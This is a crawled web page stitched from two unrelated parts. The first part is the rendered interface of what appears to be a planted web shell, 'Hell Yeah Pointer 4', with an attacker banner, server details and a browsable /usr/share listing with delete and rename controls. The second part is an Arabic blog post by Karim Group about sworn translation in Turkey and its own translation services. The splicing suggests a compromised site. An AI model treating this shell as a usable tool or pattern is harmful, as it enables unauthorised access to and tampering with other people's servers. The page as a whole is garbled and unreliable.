Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-03 07:40:37
curdir: / / usr / share / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-02-20 04:18:42 0755
.. 4096 2026-02-17 19:35:32 0755
Modules 4096 2026-01-04 11:43:57 0755
aclocal 4096 2026-01-04 14:48:22 0755
aclocal-1.16 4096 2026-01-04 11:48:43 0755
adobe 4096 2026-01-04 11:43:57 0755
alt-php-xray-tasks 4096 2026-02-08 13:05:03 0755
autoconf 4096 2026-01-04 11:48:43 0755
automake-1.16 4096 2026-01-04 11:48:43 0755
awk 4096 2025-12-03 11:10:40 0755
bash-completion 4096 2024-04-22 19:52:46 0755
bison 4096 2026-01-04 11:50:45 0755
cmake 4096 2026-01-04 11:39:40 0755
config.site 880 2024-08-13 22:30:48 0644
cracklib 4096 2025-12-03 11:10:58 0755
crypto-policies 4096 2025-12-03 11:10:57 0755
emacs 4096 2025-12-03 11:08:08 0755
enchant 4096 2026-01-04 11:48:40 0755
file 4096 2025-12-03 11:10:17 0755
fontconfig 4096 2025-12-03 11:08:03 0755
fonts 4096 2026-01-04 11:43:59 0755
ghostscript 4096 2026-01-04 11:44:12 0755
git-core 4096 2025-12-03 11:13:43 0755
gnupg 4096 2025-12-03 11:14:27 0755
groff 4096 2025-12-03 11:10:21 0755
i18n 4096 2025-12-08 12:36:32 0755
i360-php-opts 4096 2026-03-03 07:07:18 0755
imunify360 4096 2026-01-04 13:26:05 0755
info 4096 2026-01-04 15:16:22 0755
l.v.e-manager 4096 2026-01-04 11:46:46 0755
libgpg-error 4096 2025-12-03 11:10:14 0755
libtool 4096 2026-01-04 11:50:44 0755
locale 20480 2026-01-04 11:16:59 0755
lve-stats 4096 2026-01-04 15:06:07 0755
magic 963245 2025-10-07 09:30:49 0644
man 4096 2025-12-03 11:16:51 0755
mc 4096 2025-12-03 11:16:49 0755
misc 4096 2025-12-03 11:10:17 0755
modulefiles 4096 2023-10-14 21:46:13 0755
myspell 4096 2019-10-13 11:33:14 0755
nano 4096 2025-12-03 11:17:12 0755
perl5 4096 2026-01-04 11:48:11 0755
python-cllib 4096 2026-01-04 11:44:10 0755
screen 4096 2026-01-04 11:09:36 0755
snmp 4096 2026-01-04 11:49:01 0755
tabset 4096 2025-12-03 11:10:09 0755
tcl8 4096 2026-01-04 11:43:57 0755
tcl8.6 4096 2026-01-04 11:43:57 0755
terminfo 4096 2025-12-03 11:10:09 0755
vim 4096 2025-12-03 11:10:35 0755
xml 4096 2026-01-04 11:39:38 0755
zoneinfo 4096 2026-01-04 11:16:58 0755
zsh 4096 2025-12-03 11:10:57 0755
مجموعة كريم - الترجمة المحلفة في تركيا – ما هي وما أهميتها

الترجمة المحلفة في تركيا – ما هي وما أهميتها

Blog Details

الترجمة المحلفة في تركيا – ما هي وما أهميتها

تعد الترجمة من اللغة الأجنبية إلى اللغة التركية من أكثر الخدمات التي يتم طلبها في تركيا، ولا شك أن أهمية ترجمة الأوراق الرسمية والحكومية يجب أن تكون من مترجم محلف في تركيا، يمكنه أن يترجم وثائقك التي تحتاجها باللغة التركية لتيسير معاملة ما في تركيا.

لذا في هذه المقالة سنتعرف عن الترجمة المحلفة في تركيا، وما هي وما أهميتها.

 

ما هي الترجمة المحلفة في تركيا؟

تعتبر الترجمة المحلفة بأنها هي الترجمة المعتمدة والترجمة المستوفية الدقيقة للعقود والوثائق والشهادات وغيرها من الأوراق الرسمية أو الخاصة التي تحمل الطابع القانوني وفق الشروط القانونية التي تضعها الحكومة التركية، مما يسمح باستخدامها في مؤسسات الدولة، ويتم التعامل بها بشكل رسمي، مع إقرار المترجم بمسؤوليته عن دقة الوثيقة التي تمت ترجمتها من اللغة الأجنبية إلى اللغة التركية.

 

من هو المترجم المحلف؟

الترجمان المحلف في تركيا هو شخص متخرج من إحدى أقسام اللغات الأجنبية أو قسم الترجمة، ويكون المترجم المحلف في تركيا متقنا اللغة التي سيترجم لها واللغة المترجم منها، ويكون مخول من كاتب العدل للترجمة الرسمية للوثائق القانونية وختم المترجم المحلف ذات صفة رسمية في المؤسسات الحكومية في الدولة.

 

ما الذي يجب على المترجم المحلف؟

يجب على الترجمان المحلف أن يتمتع بصفات عديدة، مثل الحفاظ على سرية المعلومات التي يترجمها، والانضباط الذاتي، والموثوقية والأمانة المطلقة في نقل المعلومات من لغة إلى أخرى، بالإضافة إلى ضرورة إتقان اللغات بتفاصيلها الدقيقة ومصطلحاتها وعرفها، ومعرفة التشريعات ذات الصلة، وامتلاك القدرة على تحديد أولويات الأوصاف الوظيفية المتعددة.

 

ما هي الشروط المطلوبة لأكون مترجم محلف؟

لكي تكون مترجم محلف في تركيا عليك أن تستوفي شروط المترجم المحلف في تركيا، ومعرفة المعايير المطلوبة التي تحددها المؤسسات التركية، وهذه الشروط هي:

  • أن تكون مواطنا تركيا، أو حاملا للجنسية التركية.
  • الحصول على شهادة تخرج من أقسام اللغات الأجنبية، أو أقسام الترجمة في الجامعات التركية، أو الجامعات التي تعترف بشهادتها الحكومة التركية.
  • الحصول على وثيقة اختبار تثبت إمكانيتك في إتقان اللغة الأجنبية التي تريد أن تترجم منها إلى اللغة التركية.
  • التقديم لدى كاتب العدل بدرجة البكالوريوس وشهادة إتقان اللغة الأجنبية.
  • أن تؤدي اليمين أمام كاتب العدل.

 

ما هي أهمية الترجمة المحلفة في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

يمكنكم الحصول على خدمة الترجمة المحلفة من مجموعة كريم للاستشارات القانونية.

 

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.

 

اقرأ أيضا:

خدمة الترجمة في تركيا